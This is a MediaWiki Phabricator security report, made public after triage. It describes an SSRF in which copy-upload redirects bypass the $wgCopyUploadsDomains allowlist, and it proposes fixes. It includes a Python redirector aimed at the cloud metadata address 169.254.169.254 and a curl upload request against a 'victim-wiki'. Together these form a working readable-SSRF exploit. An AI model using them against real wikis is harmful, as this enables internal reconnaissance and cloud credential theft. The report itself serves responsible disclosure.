Page MenuHomePhabricator

SSRF: $wgCopyUploadsDomains allowlist bypassed via HTTP redirect in UploadFromUrl (readable SSRF)
Closed, DuplicatePublicSecurity

Description

Summary

MediaWiki's "upload by URL" feature (UploadFromUrl) validates the copy-upload
source URL against the $wgCopyUploadsDomains allowlist (and the
IsUploadAllowedFromUrl hook) only for the initial URL. It then manually
follows up to 5 HTTP redirects and fetches each redirect target without
re-validating
it against the allowlist/hook, and MediaWiki's HTTP client
applies no private/reserved-IP filtering. As a result, a URL on an allowlisted
domain that returns an HTTP 3xx redirect to an arbitrary host causes MediaWiki
to fetch that host server-side. Because the fetched response body is written to
the uploaded file, the internal response is retrievable by downloading the
upload — i.e. a readable (not blind) Server-Side Request Forgery that
bypasses the $wgCopyUploadsDomains control.

Vulnerability classification

  • CWE-918: Server-Side Request Forgery (SSRF)
  • Contributing: CWE-184 / incomplete validation (allowlist enforced once, not on redirect hops)
  • OWASP: A10:2021 – Server-Side Request Forgery. (The OWASP Top 10 2017 has no dedicated SSRF category; closest is A5:2017 Broken Access Control. CWE-918 is the precise mapping.)
  • CVE: none assigned.

Affected software / versions

  • Verified on MediaWiki 1.45.3 (official mediawiki:stable Docker image).
  • The vulnerable code is identical in current master (1.47-dev) and the shipped stable image.
  • File: includes/upload/UploadFromUrl.php

Authentication / context

  • Logged IN, as a user account that holds the upload_by_url user right.
  • Requires the wiki to have copy uploads enabled: $wgEnableUploads = true and $wgAllowCopyUploads = true.
  • The bypass is meaningful when $wgCopyUploadsDomains (an allowlist) is configured as the SSRF/domain control. (With an empty allowlist, internal URLs can already be fetched directly; this report is specifically about defeating the allowlist.)
  • No special browser required; the issue is server-side and is triggered via the action API (or Special:Upload, or the async upload job).

Root cause (code)

In includes/upload/UploadFromUrl.php:

canFetchFile() validates only the initial URL:
  public function canFetchFile() {
      if ( !MWHttpRequest::isValidURI( $this->mUrl ) ) { ... }
      if ( !self::isAllowedHost( $this->mUrl ) ) { ... }   // $wgCopyUploadsDomains
      if ( !self::isAllowedUrl( $this->mUrl ) ) { ... }    // IsUploadAllowedFromUrl hook
      return Status::newGood();
  }

 
reallyFetchFile() then follows redirects manually with NO re-validation:
  $options = $httpOptions + [ 'followRedirects' => false ];
  $attemptsLeft = $options['maxRedirects'] ?? 5;
  $targetUrl = $this->mUrl;
  while ( $attemptsLeft > 0 ) {
      $req = $requestFactory->create( $targetUrl, $options, __METHOD__ );
      $req->setCallback( $this->saveTempFileChunk( ... ) );
      $status = $req->execute();
      if ( !$req->isRedirect() ) { break; }
      $targetUrl = $req->getFinalUrl();   // <-- next hop, NOT re-validated
      ftruncate( $this->mTmpHandle, 0 );
      rewind( $this->mTmpHandle );
      $attemptsLeft--;
  }

isAllowedHost()/isValidURI()/isAllowedUrl() are never called for $targetUrl on
subsequent hops. MWHttpRequest::isRedirect() treats 3xx (300-303) as a redirect
and getFinalUrl() returns the Location target. Neither HttpRequestFactory nor
MWHttpRequest applies any private/reserved/loopback/link-local IP filtering, so
the redirect target may be 127.0.0.1, 169.254.169.254 (cloud metadata), or any
internal host/port. The redirect response bodies are truncated, but the final
(non-redirect) hop's body is kept and becomes the uploaded file's content.

Reachable from every upload-by-URL entry point that shares UploadFromUrl:
SpecialUpload (web), ApiUpload (action=upload&url=...), and UploadFromUrlJob
(async).

Step-by-step reproduction

Reproduced locally (not against any Wikimedia project) using Docker.

Run MariaDB + MediaWiki (official mediawiki:stable, = 1.45.3), plus two
helper containers on the same Docker network:

"redirector": an HTTP server given the Docker network alias `allowed.test`
(this stands in for an allowlisted domain). It replies 302 to every request
with Location: http://canary:8080/ssrf-secret-data
"canary": an internal-only HTTP server on :8080 that logs hits and returns a
recognizable body (stands in for an internal service / 169.254.169.254).

Install MediaWiki and append to LocalSettings.php:

$wgEnableUploads = true;
$wgAllowCopyUploads = true;
$wgCopyUploadsFromSpecialUpload = true;
$wgGroupPermissions["user"]["upload"] = true;
$wgGroupPermissions["user"]["upload_by_url"] = true;
$wgCopyUploadsDomains = [ "allowed.test" ];   // the allowlist being bypassed
$wgCopyUploadProxy = false;

As a logged-in user with upload_by_url, obtain a CSRF token, then:

(a) CONTROL — try to copy-upload the non-allowlisted host directly:
    action=upload&filename=ctrl.png&url=http://canary:8080/ssrf-secret-data
    => Rejected: error code "copyuploadbaddomain"
       ("Uploads by URL are not allowed from this domain.")
       The allowlist works as intended.

(b) ATTACK — copy-upload the allowlisted host, which 302-redirects to the
    non-allowlisted internal host:
    action=upload&filename=ssrf1.png&url=http://allowed.test/
    => result: "Success"; a file is created.
  1. Result / evidence:
    • redirector log: 302 -> http://canary:8080/ssrf-secret-data
    • canary log: CANARY-HIT path=/ssrf-secret-data ua=MediaWiki/1.45.3 => MediaWiki made a server-side request to the NON-allowlisted internal host.
    • Downloading the resulting upload (…/images/…/Ssrf1.png) returns the canary's response body, including the internal marker string "INTERNAL-SSRF-CANARY-SECRET-7f3a9". => The internal HTTP response is exfiltrated via the uploaded file (readable SSRF, not blind).

Proof-of-concept

Minimal attacker-controlled redirector hosted on an allowlisted domain:

from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/")
        self.end_headers()
HTTPServer(("0.0.0.0", 80), H).serve_forever()

Triggering request (logged-in user with upload_by_url; $CT = CSRF token, cookie
jar = authenticated session):

curl -s -b cookies.txt -X POST "https://victim-wiki/api.php" \
  --data-urlencode action=upload \
  --data-urlencode filename=ssrf1.png \
  --data-urlencode "url=http://allowlisted-domain.example/" \
  --data-urlencode "token=$CT" \
  --data-urlencode ignorewarnings=1 \
  --data-urlencode format=json

The internal response is then downloadable as File:Ssrf1.png.

In practice the attacker either controls a host that matches a $wgCopyUploadsDomains
entry (e.g. a subdomain under a wildcard allowlist entry) or abuses an open
redirect on an allowlisted domain.

Reproduction on Wikimedia projects

NOT tested against any Wikimedia production project (active SSRF testing against
production is out of scope). Assessment is based solely on the public
operations/mediawiki-config repository:

  • Wikimedia production configures $wgCopyUploadProxy (the url-downloader proxy). That dedicated egress proxy is expected to MITIGATE the internal-network SSRF impact on Wikimedia specifically (requests to Wikimedia-internal/private hosts would be constrained by the proxy).
  • However, the redirect re-validation gap still allows bypassing the $wgCopyUploadsDomains allowlist on Wikimedia (a redirect from an allowlisted domain can cause fetches from non-allowlisted external domains, defeating the intended source-domain restriction).
  • The full readable-internal-SSRF impact demonstrated above applies to the general MediaWiki codebase and to any third-party installation that relies on $wgCopyUploadsDomains as an SSRF control without a restricting proxy / egress IP filtering.

Impact

  • Bypass of the $wgCopyUploadsDomains allowlist and the IsUploadAllowedFromUrl hook (intended source-domain / SSRF controls).
  • On deployments without a restricting copy-upload proxy or egress firewall: authenticated server-side requests to internal services and cloud metadata endpoints (e.g. 127.0.0.1, 169.254.169.254), with the response body retrievable via the uploaded file — enabling internal reconnaissance and disclosure of internal HTTP responses / cloud credentials.

Suggested remediation

  1. Re-run the URL validation (MWHttpRequest::isValidURI, isAllowedHost against $wgCopyUploadsDomains, isAllowedUrl / IsUploadAllowedFromUrl) on EVERY redirect target inside reallyFetchFile()'s loop, rejecting the fetch if any hop fails.
  2. Defense in depth: block requests whose resolved IP is private/reserved/ loopback/link-local for copy uploads (note: per-hop host re-validation alone is still bypassable via DNS rebinding — the allowlisted hostname can resolve to an internal IP at fetch time — so IP-level egress filtering / mandatory restricting proxy is the robust control).
  3. Consider performing redirect following inside the HTTP layer with a per-hop validation callback rather than re-issuing requests in UploadFromUrl.

Environment

  • MediaWiki 1.45.3 (official mediawiki:stable Docker image), PHP from that image.
  • MariaDB 11.
  • Triggered via the action API using curl (server-side issue; no browser involved).
  • Reproduced entirely on a local, isolated Docker network.

Details

Risk Rating
Low
Author Affiliation
Wikimedia Communities

Event Timeline

Restricted Application added a subscriber: Aklapper. · View Herald Transcript
sbassett changed the task status from Open to In Progress.Jun 22 2026, 4:48 PM
sbassett triaged this task as Low priority.
sbassett moved this task from Incoming to In Progress on the Security-Team board.
sbassett added subscribers: ASanford-WMF, sbassett.

I think this bug report can be made public too.

sbassett changed Author Affiliation from N/A to Wikimedia Communities.Jun 29 2026, 3:33 PM
sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".
sbassett changed the edit policy from "Custom Policy" to "All Users".
sbassett changed Risk Rating from N/A to Low.